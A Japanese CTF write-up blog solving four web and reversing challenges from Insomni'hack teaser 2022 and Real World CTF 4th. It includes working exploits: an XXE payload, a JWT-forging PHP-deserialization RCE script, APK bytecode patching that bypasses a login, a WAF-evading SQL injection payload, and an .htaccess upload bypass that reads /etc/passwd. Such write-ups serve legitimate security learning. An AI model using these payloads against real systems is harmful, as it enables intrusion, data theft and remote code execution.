Insomni'hack teaser 2022 Writeup

Insomni'hack teaser 2022(2022年1月29日21:00~2022年1月30日21:00)にチームKUDoSとして参加しました。順位は全体で58位でした。

PimpMyVariant (Web, 76pts)

サーバー側のソースコード等は提供されておらず問題文に記載のURLのみです。

記載のURLのページにアクセスしてみますが、特にブラウザ画面で操作できる機能があるわけではないようです。

/robots.txt にアクセスすると、下記のようにサーバー側のエンドポイントが記載されていることが分かります。 試しに/flag.txtにアクセスしてみましたがflagは入手できませんでした。 他のエンドポイントを調べていきます。

/readme
/new
/log
/flag.txt
/todo.txt

/readmeにアクセスすると次のようなメッセージが含まれたレスポンスが返ってきます。

Hostname not allowed

リクエストでhostnameに関連する何かを変更すれば突破できそうです。 リクエストHTTPヘッダに Host: 127.0.0.1 を設定することで、/readmeは以下のようなレスポンスになりました。

#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file

同様の方法で/logにアクセスすると、以下のレスポンスが返ってきます。 データをPOSTできる/apiというエンドポイントがあるようです。

<html><head>
        <link rel="stylesheet" href="./dark-theme.css">
        <title>PimpMyVariant</title>
</head><body>
        <h1>New variant</h1>


<form method="post" enctype="application/x-www-form-urlencoded" id="variant_form">
        Guess the next variant name : <input type="text" name="variant_name" id="variant_name" placeholder="inso-micron ?" /><br />        <input type="submit" name="Bet on this" />
</form>
<script type="text/javascript">
document.getElementById('variant_form').onsubmit = function(){
        var variant_name=document.getElementById('variant_name').value;
        postData('/api', "<?xml version='1.0' encoding='utf-8'?><root><name>"+variant_name+"</name></root>")
                .then(data => {
                        window.location.href='/';
                });
        return false;
}

async function postData(url = '', data = {}) {
        return await fetch(url, {
                method: 'POST',
                cache: 'no-cache',
                headers: {
                        'Content-Type': 'text/xml'
                },
                redirect: 'manual',
                referrerPolicy: 'no-referrer',
                body: data
        });
}
</script>

</body></html>

variant_nametestにしてリクエストを送信すると、次のようなSet-Cookieヘッダが付加されたレスポンスが返ってきます。

Set-Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjowO3M6MjpcImlkXCI7czo0MDpcIjE4NWE1ZmUzOGM1MDJiMTEzMmNiYThlNTFmM2M3ZDhkYWY4ZGMwYmNcIjt9fSIsImV4cCI6MTY0MzU2MDUzMn0.k8Mzbh0YG9zoRIjTxxUdtbZnW-7n-x_A0Q1SNQY-CaA

jwt.ioで見てみると次のような内容のペイロードが含まれています。variantsを見てみると、リクエストで指定したvariant_nameが追加された配列になっています。

{
  "variants": [
    "Alpha",
    "Beta",
    "Gamma",
    "Delta",
    "Omicron",
    "Lambda",
    "Epsilon",
    "Zeta",
    "Eta",
    "Theta",
    "Iota",
    "test"
  ],
  "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"2be09793f08e65d12a5fe04fca71324c84c65211\";}}",
  "exp": 1643560837
}

リクエストでXMLを送るようになっているので、XXEのペイロードを送ってみます。 読み出すファイルは最初の/readmeのメッセージに含まれていた/www/jwt.secret.txtです。

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/www/jwt.secret.txt"> ]><root><name>&example;</name></root>

variants/www/jwt.secret.txtの内容が追加されていることが分かります。

{
  "variants": [
    "Alpha",
    "Beta",
    "Gamma",
    "Delta",
    "Omicron",
    "Lambda",
    "Epsilon",
    "Zeta",
    "Eta",
    "Theta",
    "Iota",
    "54b163783c46881f1fe7ee05f90334aa"
  ],
  "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"185a5fe38c502b1132cba8e51f3c7d8daf8dc0bc\";}}",
  "exp": 1643560532
}

読み出したファイルのファイル名から推測するに、54b163783c46881f1fe7ee05f90334aa はjwtのsecretの文字列だと思われます。

また、上記のsettingsを見てみるとPHPのserialize関数で出力された文字列のように見えます。 この中にisAdminという気になるプロパティがあります。

実は最初の段階で普通に/logにアクセスすると、以下のようなレスポンスが返ってきており、何かしらの方法でadminかどうかを判定していることが示唆されています。

Access restricted to admin only

よって、isAdminプロパティをtrueにしたjwtトークンを送信することでadminとして判定されるようになると考えられます。

jwtトークンを編集し、XXEで得られたsecretで署名して送信してみると/logは次のようなレスポンスとなりました。

<html><head>
        <link rel="stylesheet" href="./dark-theme.css">
        <title>PimpMyVariant</title>
</head><body>
        <h1>Logs</h1>

<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
  thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
  thrown in /www/UpdateLogViewer.inc on line 26

</textarea>
</body></html>

UpdateLogViewer.incというファイル内で発生したエラーのログが表示されます。

このファイルは/UpdateLogViewer.incにアクセスすることで入手できました。内容は次の通りです。

<?php

class UpdateLogViewer
{
    public string $packgeName;
    public string $logCmdReader;
    private static ?UpdateLogViewer $singleton = null;
    
    private function __construct(string $packgeName)
    {
        $this->packgeName = $packgeName;
        $this->logCmdReader = 'cat';
    }
    
    public static function instance() : UpdateLogViewer
    {
        if( !isset(self::$singleton) || self::$singleton === null ){
            $c = __CLASS__;
            self::$singleton = new $c("$c");
        }
        return self::$singleton;
    }
    
    public static function read():string
    {
        return system(self::logFile());
    }
    
    public static function logFile():string
    {
        return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log'; // system関数によって実行されるコマンド
    }
    
    public function __wakeup()// serialize
    {
        self::$singleton = $this; 
    }
};

ログの内容からすると、/logにアクセスすることで、このUpdateLogViewerのreadが実行されているものと思われます。 さらにread関数内では$logCmdReaderから作成された文字列を引数としてsystem関数を実行するようになっており、これを利用することでRCEができそうです。

また、UpdateLogViewerには、__wakeupが定義されています。この関数は、deserializeの際に呼ばれる関数の一つとなっており、処理内容を見るとクラスのstaticプロパティであるsingletonに自身のオブジェクトを設定しています。

以上のことから、$logCmdReaderプロパティに実行したいコマンドを設定したUpdateLogViewerを含めた上で、deserialize処理を走らせ、/logにアクセスすることでRCEになるようです。 このdeserializeの処理は、/logにリクエストを送る際の、jwtのペイロード中のsettingsに設定された文字列に対して走ることが分かっているので、この中に含めれば良さそうです。

最終的に以下のスクリプト/www/flag.txtに含まれているflagを表示できました。

import requests
import jwt

BASE_URL = 'http://pimpmyvariant.insomnihack.ch'

name = 'hogehoge'
# body = f'<?xml version="1.0" encoding="utf-8"?><root><name>test</name></root>'
body = f'<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/www/jwt.secret.txt"> ]><root><name>&example;</name></root>'
headers = {
  'Host': '127.0.0.1',
  'Content-Type': 'application/xml'
}
r = requests.post(BASE_URL + '/api', headers=headers, data=body, allow_redirects=False)
print(r.headers)
# print(r.cookies['jwt'])

data = r.cookies['jwt']
result = jwt.decode(data, '54b163783c46881f1fe7ee05f90334aa', algorithms=['HS256'])
print(result)

cmd = 'cat /www/flag.txt;'
# result['settings'] = 'a:2:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"bfb70eefb03ead823cb059185f13226ee9d5d690";}'
result['settings'] = 'a:2:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"bfb70eefb03ead823cb059185f13226ee9d5d690";}i:1;O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:0:"";s:12:"logCmdReader";s:'+str(len(cmd))+':"'+cmd+'";}}'
data2 = jwt.encode(result, '54b163783c46881f1fe7ee05f90334aa', algorithm='HS256')
print(data2)

cookies = {
  'jwt': data2.decode()
}
r = requests.get(BASE_URL + '/log', headers=headers, cookies=cookies, allow_redirects=False)
print(r.text)

flag: INS{P!mpmYV4rianThat's1flag}

Herald (Reversing, 93pts)

apkファイルが与えられるので、エミュレータにインストールして起動してみます。 ユーザー名とパスワードが入力できるログイン画面が表示されます。

f:id:nntomoya:20220131030834p:plain
アプリの起動画面
適当にユーザー名とパスワードを入力しますが、エラーになってしまいます。
f:id:nntomoya:20220131030922p:plain
アプリのエラー画面

ひとまず、与えられたapkファイルをapktoolを使って展開します。

$ apktool d Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12.apk

展開されたファイルの中身を見てみると、React Nativeに関する文字列が含まれており、React Nativeで作成されたアプリであることが分かります。 assets以下に含まれているindex.android.bundleというファイルが気になります。 fileコマンドで調べてみると次のような出力が得られました。

$ file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 84

調べてみると、HermesというReact Nativeで使用されているJavaScriptの実行エンジンがあるようです。 このファイルは、この実行エンジンで実行されるバイトコードが含まれるファイルのようです。

Java側(com.herald)にも特に目立った処理が書かれていなかったため、恐らく今回のアプリのメインの処理はこの中に書かれており、flagに関連する処理もあるものと思われます。

このファイルを逆アセンブルするツールがないかを探したところ、hbctoolというツールがあることが分かりました。 早速、次のコマンドで実行してみますがversionが対応していない旨のエラーになってしまいます。今回のファイルはfileコマンドでも出力されている通り、version 84なのですが、どうやら現時点ではversion 76までしか対応していないようです。

$ hbctool disasm index.android.bundle output

あるIssueについているコメントを見ると、84に対応したバージョンを作ってくれた人がいるようなのでこちらを利用すると無事に逆アセンブルができました。

また、Hermes公式からダウンロードできるcliツールを利用しても逆アセンブルすることができました。 以降の逆アセンブルはこちらの出力結果を見ることにします。

$ hermes -b --dump-bytecode index.android.bundle

アセンブル結果の中で、最初にアプリを触った際のログイン画面で表示されたメッセージを検索してみます。 次の部分がログイン処理に該当する部分と思われます。

Function<tryAuth>(3 params, 13 registers, 0 symbols):
    LoadThisNS        r2
    GetByIdShort      r0, r2, 1, "state"
    GetById           r0, r0, 2, "username"
    LoadConstString   r1, "admin"
    JStrictNotEqual   L1, r0, r1
    GetByIdShort      r0, r2, 1, "state"
    GetById           r3, r0, 3, "password"
    GetById           r4, r2, 4, "decodedText"
    NewArrayWithBuffer r0, 28, 28, 9398
    Call2             r0, r4, r2, r0
    JStrictEqual      L2, r3, r0
L1:
    GetByIdShort      r0, r2, 1, "state"
    GetById           r0, r0, 2, "username"
    JStrictEqual      L3, r0, r1
    GetEnvironment    r0, 1
    LoadFromEnvironment r0, r0, 6
    GetById           r3, r0, 5, "Alert"
    GetById           r0, r3, 6, "alert"
    LoadConstString   r1, "Wrong Username/Pa"...
    Call2             r0, r0, r3, r1
    GetById           r0, r2, 7, "setPrint"
    Call2             r0, r0, r2, r1
    Jmp               L4
L3:
    GetEnvironment    r0, 1
    LoadFromEnvironment r0, r0, 6
    GetById           r3, r0, 5, "Alert"
    GetById           r1, r3, 6, "alert"
    LoadConstString   r0, "You are not the a"...
    Call2             r0, r1, r3, r0
    GetById           r1, r2, 7, "setPrint"
    LoadConstString   r0, "Attack attempt de"...
    Call2             r0, r1, r2, r0
    Jmp               L4
L2:
    GetById           r1, r2, 8, "decodedFlag"
    NewArrayWithBuffer r0, 43, 43, 9512
    Call2             r0, r1, r2, r0
L4:
    GetEnvironment    r0, 1
    LoadFromEnvironment r0, r0, 6
    GetById           r1, r0, 9, "Keyboard"
    GetById           r0, r1, 10, "dismiss"
    Call1             r0, r0, r1
    LoadConstUndefined r0
    Ret               r0

アセンブリオペランドの詳細に関するドキュメントが見当たらなかったので、とりあえずHermes公式が提供しているPlaygroundで得られた結果と見比べながら雰囲気をつかみます。

最初はdecodedFlagの処理を見てflagを入手すると思い込み見ていたのですが、処理の中で参照しているデータの場所が分からず中々進みませんでした。

上記のログイン処理の逆アセンブリ部分に戻ってもう少し注意深く読んでみます。 まず、ユーザー名部分はadminにすることで次の段階に進みそうです。 次にパスワードの判定ですが、12行目のこの部分で一致を判定していることが分かりました。

JStrictEqual      L2, r3, r0

よって、これを次のように変更することでパスワード判定部分を突破できそうです。

JStrictNotEqual      L2, r3, r0

ここで下記の記事を読むと、先ほどのhbctoolが使えそうです。

suam.wtf

hbctoolには逆アセンブルした結果を改変した後、アセンブルして元のファイルに戻すことができる機能があるので、これを利用します。 アセンブリを変更した後、次のコマンドでindex.android.bundleに戻します。

$ hbctool asm output index.android.bundle

得られたindex.android.bundleを元のapkに含まれているものと交換し、apktoolでapkファイルに戻します。 さらに、エミュレータにインストールができるようapksingerで署名します。

$ apktool b Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12
$ keytool -genkey -v -keystore app.keystore -alias signkey -keyalg RSA -keysize 2048 -validity 20000

$ cd Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12/dist
$ apksigner sign --ks ../../app.keystore Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12.apk

署名されたapkファイルをインストールして、ユーザー名をadmin、パスワードを適当に入力することでflagが表示されました。

f:id:nntomoya:20220131033238p:plain
flagが表示された画面

flag: INS{Y0u_Kn0W_aB0uT_Th3_Her4ld_0F_the_G0ds?}

decodedFlagのような他の部分の処理を詳細に追う必要はなかったようです。

Real World CTF 4th Writeup

Real World CTF 4th(2022年1月21日22:00~2022年1月23日22:00)にチームKUDoSとして参加しました。順位は全体で52位でした。

Hack into Skynet (Web, 73pts)

問題に添付されていたサーバー側のコードは次の通りです。

#!/usr/bin/env python3

import flask
import psycopg2
import datetime
import hashlib
from skynet import Skynet

app = flask.Flask(__name__, static_url_path='')
skynet = Skynet()

def skynet_detect():
    req = {
        'method': flask.request.method,
        'path': flask.request.full_path,
        'host': flask.request.headers.get('host'),
        'content_type': flask.request.headers.get('content-type'),
        'useragent': flask.request.headers.get('user-agent'),
        'referer': flask.request.headers.get('referer'),
        'cookie': flask.request.headers.get('cookie'),
        'body': str(flask.request.get_data()),
    }
    _, result = skynet.classify(req)
    return result and result['attack']

@app.route('/static/<path:path>')
def static_files(path):
    return flask.send_from_directory('static', path)

@app.route('/', methods=['GET', 'POST'])
def do_query():
    if skynet_detect():
        return flask.abort(403)

    if not query_login_state():
        response = flask.make_response('No login, redirecting', 302)
        response.location = flask.escape('/login')
        return response

    if flask.request.method == 'GET':
        return flask.send_from_directory('', 'index.html')
    elif flask.request.method == 'POST':
        kt = query_kill_time()
        if kt:
            result = kt 
        else:
            result = ''
        return flask.render_template('index.html', result=result)
    else:
        return flask.abort(400)

@app.route('/login', methods=['GET', 'POST'])
def do_login():
    if skynet_detect():
        return flask.abort(403)

    if flask.request.method == 'GET':
        return flask.send_from_directory('static', 'login.html')
    elif flask.request.method == 'POST':
        if not query_login_attempt():
            return flask.send_from_directory('static', 'login.html')
        else:
            session = create_session()
            response = flask.make_response('Login success', 302)
            response.set_cookie('SessionId', session)
            response.location = flask.escape('/')
            return response
    else:
        return flask.abort(400)

def query_login_state():
    sid = flask.request.cookies.get('SessionId', '')
    if not sid:
        return False

    now = datetime.datetime.now()
    with psycopg2.connect(
            host="challenge-db",
            database="ctf",
            user="ctf",
            password="ctf") as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT sessionid"
           "  FROM login_session"
           "  WHERE sessionid = %s"
           "    AND valid_since <= %s"
           "    AND valid_until >= %s"
           "", (sid, now, now))
        data = [r for r in cursor.fetchall()]
        return bool(data)

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else ''
    return name == username

def create_session():
    valid_since = datetime.datetime.now()
    valid_until = datetime.datetime.now() + datetime.timedelta(days=1)
    sessionid = hashlib.md5((str(valid_since)+str(valid_until)+str(datetime.datetime.now())).encode()).hexdigest()

    sql_exec_update(("INSERT INTO login_session (sessionid, valid_since, valid_until)"
           "  VALUES ('{}', '{}', '{}')").format(sessionid, valid_since, valid_until))
    return sessionid

def query_kill_time():
    name = flask.request.form.get('name', '')
    if not name:
        return None

    sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)
    if not nb:
        return None
    return '{}: {}'.format(*nb[0])

def sql_exec(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            for row in cursor.fetchall():
                data.append([col for col in row])
            cursor.close()
    except Exception as e:
        print(e)
    return data

def sql_exec_update(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            conn.commit()
    except Exception as e:
        print(e)
    return data

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

まずは、ログイン部分を見てみます。関連するSQLクエリを実行している部分を見てみますが、特にSQLインジェクションにつながる部分はなさそうです。

同じくログイン部分の query_longin_attempt 関数を見てみます。 入力されたパスワードを設定しているユーザーを取得していますが、該当するユーザーが無ければ、ユーザー名を空文字列に設定して入力されたユーザー名との一致をチェックしています。よって、入力したユーザー名が空文字であれば、ログイン部分のチェックをバイパスしてログイン状態にすることができます。

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else '' # 該当するuserが存在しない場合には空文字列と一致を判定
    return name == username

次に、ログインをしている状態でのみ実行される部分を見てみます。

query_kill_time 関数内の下記の部分にSQLインジェクションがあることが分かります。

sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)

試しに ' OR ''=' のような文字列をnameパラメータに設定してみますが、403が返ってきます。どうやら、下記のようなリクエスト処理の中で、HTTPリクエストで送られてくるパラメータなどの値を引数としてskynet_detect が呼び出されており、この部分の判定処理によって403の応答が返ってくるようです。しかし、 skynet_detect の実装は提供されていないため、挙動を推測する必要があります。

    if skynet_detect():
        return flask.abort(403)

いくつかの文字列をnameパラメータに指定してリクエストを送ったところ、skynet_detect はWAFの働きをしており、SQLっぽいリクエストを送るとエラーになるようです。WAFに検知される場合(403が返ってくる)とWAFに検知されない場合(403以外が返ってくる)のペイロードを分けてみると下記のようになりました。

  • WAFに検知される
';select pg_sleep(3) where ''='
'||(case when 1 then 'abc' end)||'
' or ''='
'||trim (trim(lower(' abc ')))||'
'||trim ' abc ')||'
'||lower(lower('a'))||'
'||'aa'||lower/*/*abc*/*/('A')||'
  • WAFに検知されない
';selt pg_sleep(3) where ''='
'||(case whn 1 then 'abc' end)||'
' or ''=
'||trim (trim(lowr(' abc ')))||'
'||trim( ' abc ')||'
'||lower(lowr('a'))||'
'||'aa'||lwer/*/*abc*/*/('A')||'

上記を見てみると、 '() の数が合わない、 SELECTSELT になっているなど、SQLの文法エラーになる場合にはWAFで検知されないことが分かります。 また、SQLの文法が正しくても、lowerlowr になるなど、関数が存在しない場合にも検知されないようです。 よって、WAFの検知を回避しても、正しくないSQL文となってしまうため、SQLインジェクションを実行するのは難しいように思えます。

コメントを挿入したり、char()を使ったりといった典型的な回避方法を試してみましたが、なかなかうまくいかずにかなり時間を費やしてしまいました。

ふと、HackTricksを眺めて query_to_xml を利用したペイロードを試してみたところ、query_to_xml は他の関数のように関数名だけでWAFに検知されることはなく、 本来

SELECT query_to_xml('select * from pg_user',true,true,'')

とする部分を

SELECT query_to_xml('select * from pg_user',true,,'')

とすることで検知されなくなることが分かりました。 さらに、文字列部分のクエリを好きに変更しても検知されないことがわかったので、これを利用すればクエリを実行できそうです。

ただし、query_to_xml の引数を正しく指定していないので、このままではエラーになってしまいます。 そこで最後の引数である文字列部分を $TAG$abc$TAG$ のようにすると、WAFを回避して正しく query_to_xml の引数を指定できました。

さらに、いろいろ試した中で = はWAFに検知されてしまう場合でも、~ では回避できることが分かったので、これを query_to_xml と組み合わせてデータベースの情報を取得できました。

target_credentials テーブルに secret_key というカラムがあり、そこにフラグが格納されていました。 最終的に以下のようなペイロードで、一文字ずつflagを取得しました。

'or cast(query_to_xml('select secret_key from target_credentials limit 1 offset 0',name~'.',true,$TAG$abc$TAG$) as text)~'key>rwctf{

flag: rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}

結局、 skynet_detect がどういった実装で検知をしていたのか、なぜこの方法で回避ができたのか謎で終わってしまいました。

他の解法

実装が分からないWAFを回避して、SQLペイロードを送るのは非常に骨の折れる作業でした。 しかし、SQLの部分で回避しようとしなくても、skynet_detect がHTTPリクエストのあらゆる値から検出を行っていることを利用する方法もあったようです。

一例では、skynet_detect がリクエストのbody全体を引数としているので、フォームを送信する際のContent-Typeを multipart/form-data にすることで application/x-www-form-urlencoded と混同させて、 検出を難しくできるといった方法があるようです。

参考

解けなかった問題

RWDN (Web, 215pts)

問題としては、ファイルをアップロードするとApacheサーバー側からアップロードしたファイルが提供されるというものでした。

最初のファイルをアップロードする部分は、特定の拡張子のみを受け付けるようになっています。 しかし、ファイルの一つ目の拡張子チェックが通れば、一緒に送った他のファイルをアップロードできるようになっています。

module.exports = () => {
    return (req, res, next) => {
      if ( !req.query.formid || !req.files || Object.keys(req.files).length === 0) {
        res.status(400).send('Something error.');
        return;
      }
      Object.keys(req.files).forEach(function(key){
        var filename = req.files[key].name.toLowerCase();
        var position = filename.lastIndexOf('.');
        if (position == -1) {
          return next();
        }
        var ext = filename.substr(position);
        var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
        if ( !allowexts.includes(ext) ){
          res.status(400).send('Something error.');
          return;
        }
        return next(); // 1つ目のファイルの拡張子チェックが通れば終了
      });
    };
  };

よって、下記のようにすることで、拡張子のチェック(.png)を回避して、 .htaccess をアップロードできました。

$ curl -i -v -F 'name=@q.png' -F 'hoge=@.htaccess' 'http://47.243.75.225:31337/upload?formid=hoge'

さらに、アップロードされたファイルは、ファイルの内容とクライアント側のIPアドレスから生成されたmd5ハッシュごとにディレクトリが作成され、その中に保存されるようになっています。

app.post('/upload', function(req, res) {
  let sampleFile;
  let uploadPath;
  let userdir;
  let userfile;
  sampleFile = req.files[req.query.formid];
  userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
  userfile = sampleFile.name.toString();
  if(userfile.includes('/')||userfile.includes('..')){
      return res.status(500).send("Invalid file name");
  }
  uploadPath = '/uploads/' + userdir + '/' + userfile;
  sampleFile.mv(uploadPath, function(err) {
    if (err) {
      return res.status(500).send(err);
    }
    res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);
  });
});

試しに以下の内容の .htaccess をアップロードしてアップロードされたディレクトリにアクセスすると、オプションで指定したstatusが表示されています。 Apache.htaccess によるオプション上書きが有効になっているようです。

SetHandler server-status

f:id:nntomoya:20220130231859p:plain
Apacheサーバーのstatus表示

また、 ファイルのmd5が同じであれば、違うファイル名でも同じディレクトリにアップロードされます。 これを利用して、 .htaccess としても有効なPHPCGI、SSIのファイルをアップロードし、 .htaccesshandler指定してみたのですが、どれも必要なモジュールがロードされておらず動作しませんでした。

競技時間中はここまでで時間切れとなってしまい、解くことができませんでした。

後ほど解法を見ていたところ、 .htaccess を利用してサーバー側のファイルの内容を抽出できるようです。

ErrorDocument 404 %{file:/etc/passwd}

見たことが無い文法だったのですが、 %{<関数>:<引数>} のように記述することで、特定の関数で処理を行った結果を埋め込むことができるようです。

httpd.apache.org

指定できる関数file 以外にも環境変数を取得するための osenvBase64変換を行う base64 などがあるようです。

これを利用して apache.conf の内容を取得すると、mod_ext_filterのExtFilterDefineでコマンドを実行するように指定されていることが分かります。 SetOutputFilterでレスポンスの内容をコマンドで処理するように指定し、SetEnvでLD_PRELOAD にアップロードしたsoファイルを指定することでRCEができたようです。

参考 r3kapig.com